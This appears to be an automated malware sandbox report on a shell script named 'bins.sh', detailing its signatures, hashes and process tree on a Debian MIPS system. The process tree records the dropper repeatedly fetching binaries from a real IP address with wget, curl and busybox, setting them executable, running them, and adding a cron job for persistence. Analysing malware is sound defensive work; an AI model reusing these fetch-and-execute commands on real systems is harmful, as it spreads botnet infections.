Overview

overview

9

Static

static

1

bins.sh

ubuntu-18.04-amd64

9

bins.sh

debian-9-armhf

9

bins.sh

debian-9-mips

9

bins.sh

debian-9-mipsel

8

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    16/11/2024, 08:51

Sharing

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General

  • Target
    bins.sh
  • Size 10KB
  • Sample241116-kr54dstbkd
  • SHA256 37f235d9768913c948e5842cc37cb20e5d31179bbacbfa0338d592c4b37757b0
  • MD5 SHA1 SHA512 SSDEEP
Score
9/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalatio

Malware Config

Signatures

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1812) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalatio
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:710
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:713
        • /usr/bin/wget
          wget http://216.126.231.240/bins/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Writes file to tmp directory
          PID:715
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Writes file to tmp directory
          PID:738
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Writes file to tmp directory
          PID:741
        • /bin/chmod
          chmod 777 nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • File and Directory Permissions Modification
          PID:742
        • /tmp/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          ./nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
          • Executes dropped EXE
          PID:743
        • /bin/rm
          rm nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
          2⤵
            PID:745
          • /usr/bin/wget
            wget http://216.126.231.240/bins/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Writes file to tmp directory
            PID:746
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:747
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Writes file to tmp directory
            PID:749
          • /bin/chmod
            chmod 777 vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • File and Directory Permissions Modification
            PID:755
          • /tmp/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            ./vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
            • Executes dropped EXE
            PID:756
          • /bin/rm
            rm vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
            2⤵
              PID:760
            • /usr/bin/wget
              wget http://216.126.231.240/bins/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Writes file to tmp directory
              PID:761
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:773
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Writes file to tmp directory
              PID:788
            • /bin/chmod
              chmod 777 mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • File and Directory Permissions Modification
              PID:797
            • /tmp/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              ./mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
              • Executes dropped EXE
              PID:798
            • /bin/rm
              rm mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
              2⤵
                PID:802
              • /usr/bin/wget
                wget http://216.126.231.240/bins/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Writes file to tmp directory
                PID:803
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Writes file to tmp directory
                PID:806
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Writes file to tmp directory
                PID:807
              • /bin/chmod
                chmod 777 iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • File and Directory Permissions Modification
                PID:808
              • /tmp/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                ./iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                • Executes dropped EXE
                PID:809
              • /bin/rm
                rm iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                2⤵
                  PID:811
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  2⤵
                  • Writes file to tmp directory
                  PID:812
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  2⤵
                  • Writes file to tmp directory
                  PID:813
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  2⤵
                  • Writes file to tmp directory
                  PID:819
                • /bin/chmod
                  chmod 777 CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  2⤵
                  • File and Directory Permissions Modification
                  PID:826
                • /tmp/CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  ./CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  2⤵
                  • Executes dropped EXE
                  PID:827
                • /bin/rm
                  rm CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                  2⤵
                    PID:830
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                    2⤵
                    • Writes file to tmp directory
                    PID:832
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                    2⤵
                    • Writes file to tmp directory
                    PID:845
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                    2⤵
                    • Writes file to tmp directory
                    PID:851
                  • /bin/chmod
                    chmod 777 YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                    2⤵
                    • File and Directory Permissions Modification
                    PID:852
                  • /tmp/YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                    ./YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:853
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:855
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                          • Reads runtime system information
                          PID:856
                      • /bin/sh
                        sh -c "crontab -"
                        3⤵
                          PID:857
                          • /usr/bin/crontab
                            crontab -
                            4⤵
                            • Creates/modifies Cron job
                            PID:858
                      • /bin/rm
                        rm YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                        2⤵
                          PID:860
                        • /usr/bin/wget
                          wget http://216.126.231.240/bins/Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                          2⤵
                            PID:863
                          • /usr/bin/curl
                            curl -O http://216.126.231.240/bins/Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                            2⤵
                              PID:864
                            • /bin/busybox
                              /bin/busybox wget http://216.126.231.240/bins/Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                              2⤵
                              • Writes file to tmp directory
                              PID:865
                            • /bin/chmod
                              chmod 777 Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                              2⤵
                              • File and Directory Permissions Modification
                              PID:946
                            • /tmp/Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                              ./Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                              2⤵
                              • Executes dropped EXE
                              PID:947
                            • /bin/rm
                              rm Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                              2⤵
                                PID:949
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                2⤵
                                  PID:950
                                • /usr/bin/curl
                                  curl -O http://216.126.231.240/bins/j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                  2⤵
                                    PID:951
                                  • /bin/busybox
                                    /bin/busybox wget http://216.126.231.240/bins/j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:952
                                  • /bin/chmod
                                    chmod 777 j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:953
                                  • /tmp/j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                    ./j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                    2⤵
                                    • Executes dropped EXE
                                    PID:954
                                  • /bin/rm
                                    rm j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                    2⤵
                                      PID:956
                                    • /usr/bin/wget
                                      wget http://216.126.231.240/bins/iBcmPqb2osjcPZWQEfiGobGEz1tPogpuNJ
                                      2⤵
                                        PID:957

                                    Network

                                          MITRE ATT&CK Enterprise v15

                                          Replay Monitor

                                          Loading Replay Monitor...

                                          Downloads

                                          CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                                          • Path /tmp/CYlY4YjHXcmOdhACmpOVU9tKoALWh4Zi8E
                                          • Size 127KB
                                          • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                                          • Path /tmp/Hncgtn772zyfIiZDWbF3p75v3NiGc0RyuL
                                          • Size 107KB
                                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                                          • Path /tmp/YnhTzK4kg8Bq6Rs0SyC4unLGOnYfCinT0n
                                          • Size 151KB
                                          • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                                          • Path /tmp/iHgLUOmMwZB1yCrSuKHWDwqqc7DF1bY8hd
                                          • Size 119KB
                                          • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                          • Path /tmp/j64hMihbtCViR84LOIi6O7eZi4pfwlxWf1
                                          • Size 117KB
                                          • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
                                          • Path /tmp/mDssECvU2VYJD8wzXF3Fupz1FuWGeH8VA0
                                          • Size 98KB
                                          • SHA256 54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
                                          • Path /tmp/nNB7IY6vGOLSlKc93qPb3vsBITresXoEIO
                                          • Size 122KB
                                          • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
                                          • Path /tmp/vqRtX3sMzdeMDNeSdfKwDSRfTWdbbGAvRr
                                          • Size 112KB
                                          • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                          • MD5 SHA1 SHA512 SSDEEP
                                          Submit Download

                                          tmp.n29syZ
                                          • Path /var/spool/cron/crontabs/tmp.n29syZ
                                          • Size 210B
                                          • SHA256 41d07701241b4db0ad3fdcf2344817435489ddac6fa1dfdc60b49e03222c4982
                                          • MD5 SHA1 SHA512
                                          Submit Download